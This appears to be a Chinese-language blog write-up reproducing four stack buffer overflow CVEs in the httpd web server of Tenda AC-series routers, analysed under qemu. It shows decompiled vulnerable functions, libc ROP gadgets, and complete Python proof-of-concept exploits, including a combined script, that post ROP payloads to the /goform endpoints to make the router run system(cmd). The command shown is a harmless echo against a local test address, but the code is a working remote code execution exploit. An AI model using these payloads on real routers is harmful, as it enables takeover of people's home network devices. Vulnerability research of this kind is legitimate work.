前言
CVE-2020-13394 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/SetNetControlList list parameter for a POST request, a value is directly used in a strcpy to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
---|---|
CVE-2020-13392 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/setcfm funcpara1 parameter for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
CVE-2020-13391 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/SetSpeedWan speed_dir parameter for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
CVE-2020-13390 | An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multiTD01, and AC18 V15.03.05.19(6318)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/addressNat entrys and mitInterface parameters for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks. |
这4个TendaCVE都是同一个程序的缓冲区溢出漏洞,本文是基于US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本进行分析复现的。
固件可在github下载:https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333
通用的gadget
╰─➤ ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc} #gadget1
╰─➤ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3 #gadget2
利用过程:
- 溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2
- 跳转到gadget2后,控制r0为要执行的命令即可
- 执行system(cmd)
qemu用户级调试启动
安装qemu-user-static
sudo apt install qemu-user-static
安装完成后将qemu-arm-static赋值到文件系统目录squashfs-root下,启动httpd服务
cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd
CVE-2020-13394
漏洞的成因是web服务在处理post请求时,对list参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetQosBand函数。
//formSetQosBand
list = (char *)sub_2BA8C(a1, (int)"list", (int)&unk_E250C);
sub_7DD20(list, (int)"bandwidth.mode", 0xAu);
int __fastcall sub_7DD20(char *list, int a2, unsigned __int8 a3)
{
char dest; // [sp+5CCh] [bp-260h]
char *src; // [sp+81Ch] [bp-10h]
list_1 = list;
c = a3;
memset(&s, 0, 0x40u);
memset(&dest, 0, 0x100u);
sub_7DB3C(v4);
src = list_1;
while ( 1 )
{
v58 = strchr(src, c);
if ( !v58 )
break;
v59 = 0;
*v58++ = 0;
memset(&dest, 0, 0x100u);
strcpy(&dest, src);
程序直接将list参数使用strcpy函数复制到栈变量dest中,容易造成栈溢出。
在qemu用户级调试中能看到调用了system(cmd)就能说明成功完成漏洞利用了。
poc如下:
import requests
from pwn import *
cmd="echo hello"
'''
qemu-user
'''
libc_base = 0xf659c000
'''
qemu-system
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
'''
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = 'a'*0x260
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie":"password=12345"}
data = {"list": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
CVE-2020-13392
漏洞的成因是web服务在处理post请求时,对funcpara1参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetCfm函数。
//formSetCfm
v17 = (char *)sub_2BA8C(v2, (int)"funcname", (int)&unk_DFA30);
if ( *v17 )
{
if ( !strcmp(v17, "save_list_data") )
{
funcpara1 = sub_2BA8C(v2, (int)"funcpara1", (int)&unk_DFA30);
funcpara2 = (char *)sub_2BA8C(v2, (int)"funcpara2", (int)&unk_DFA30);
sub_4EC58((int)funcpara1, funcpara2, '~');
}
}
//sub_4EC58
char s; // [sp+11Ch] [bp-58h]
char *v10; // [sp+15Ch] [bp-18h]
int v11; // [sp+160h] [bp-14h]
char *v12; // [sp+164h] [bp-10h]
memset(&s, 0, 0x40u);
sprintf(&s, "%s.listnum", v6);
SetValue(&s, "0");
memset(&s, 0, 0x40u);
memset(&v8, 0, 0x100u);
sprintf(&s, "%s.list%d", v6, ++v11);
result = GetValue((int)&s, (int)&v8);
在当解析到存在参数funcname为save_list_data时,就会解析提交的表单中的funcpara1参数,在sub_4EC58函数中使用sprintf函数直接将该参数复制到栈缓冲区中。并且因为参数funcpara1后面会接上.list字符串,因此在指定命令后面需要添加分号;
payload如下:
payload = 'a'*0x58
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie":"password=12345"}
data = {"funcname": 'save_list_data','funcpara1':payload}
CVE-2020-13391
漏洞的成因是web服务在处理post请求时,对speed_dir参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到formSetSpeedWan函数。
//formSetSpeedWan
char s[32]; // [sp+30h] [bp-3Ch]
void *v12; // [sp+50h] [bp-1Ch]
char *v13; // [sp+54h] [bp-18h]
char *speed_dir; // [sp+58h] [bp-14h]
int v15; // [sp+5Ch] [bp-10h]
speed_dir = sub_2BA8C(a1, "speed_dir", "0");
v13 = sub_2BA8C(v2, "ucloud_enable", "0");
v12 = sub_2BA8C(v2, "password", "0");
GetValue("speedtest.flag", &nptr);
sprintf(s, "{\"errCode\":%d,\"speed_dir\":%s}", v15, speed_dir);
解析speed_dir参数后,使用sprintf函数,将speed_dir与{"errCode":0,"speed_dir":%s}格式化字符串拼接起来赋值给栈变量。用户可控的空间在栈变量s偏移为25以后,而溢出偏移为0x3c,需要填充的字符数为35。
payload如下:
payload = 'a'*35
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie":"password=12345"}
data = {'speed_dir':payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
CVE-2020-13390
漏洞的成因是web服务在处理post请求时,对entrys和mitInterface参数没有进行检查直接复制到栈上的一个局部变量中可导致栈溢出。定位到fromAddressNat函数。
//fromAddressNat
char s; // [sp+114h] [bp-318h]
char v7; // [sp+314h] [bp-118h]
void *v8; // [sp+414h] [bp-18h]
void *v9; // [sp+418h] [bp-14h]
void *v10; // [sp+41Ch] [bp-10h]
v4 = a1;
memset(&v5, 0, 0x100u);
entrys = sub_2BA8C(v4, "entrys", &unk_E5D48);
mitInterface = sub_2BA8C(v4, "mitInterface", &unk_E5D48);
sprintf(&s, "%s;%s", entrys, mitInterface);
程序解析entrys和mitInterface参数后直接使用sprintf函数赋值到栈变量s中,容易造成栈溢出。
payload如下:
padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}
总结
汇总一下以上4个CVE的对应的qemu用户级调试的poc
import requests
from pwn import *
cmd="echo hello"
'''
qemu-user
'''
libc_base = 0xf659c000
'''
qemu-system
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0
'''
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
'''
# CVE-2020-13394
payload = 'a'*0x260
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie":"password=12345"}
data = {"list": payload}
# CVE-2020-13392
payload = 'a'*0x58
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie":"password=12345"}
data = {"funcname": 'save_list_data','funcpara1':payload}
# CVE-2020-13391
payload = 'a'*35
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd +';'
url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie":"password=12345"}
data = {'speed_dir':payload}
# CVE-2020-13390
padding = 'b'*(0x318-1)
payload = ''
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie":"password=12345"}
data = {'entrys':padding, 'mitInterface':payload}
'''
另外提一下CVE-2020-13393和CVE-2020-13389,在CVE描述中,漏洞成因都是栈溢出,但是经过分析,它们其实是堆溢出,不能直接套poc的模板覆盖返回返回地址。
-
-
-
-
-
-
-
-
没有评论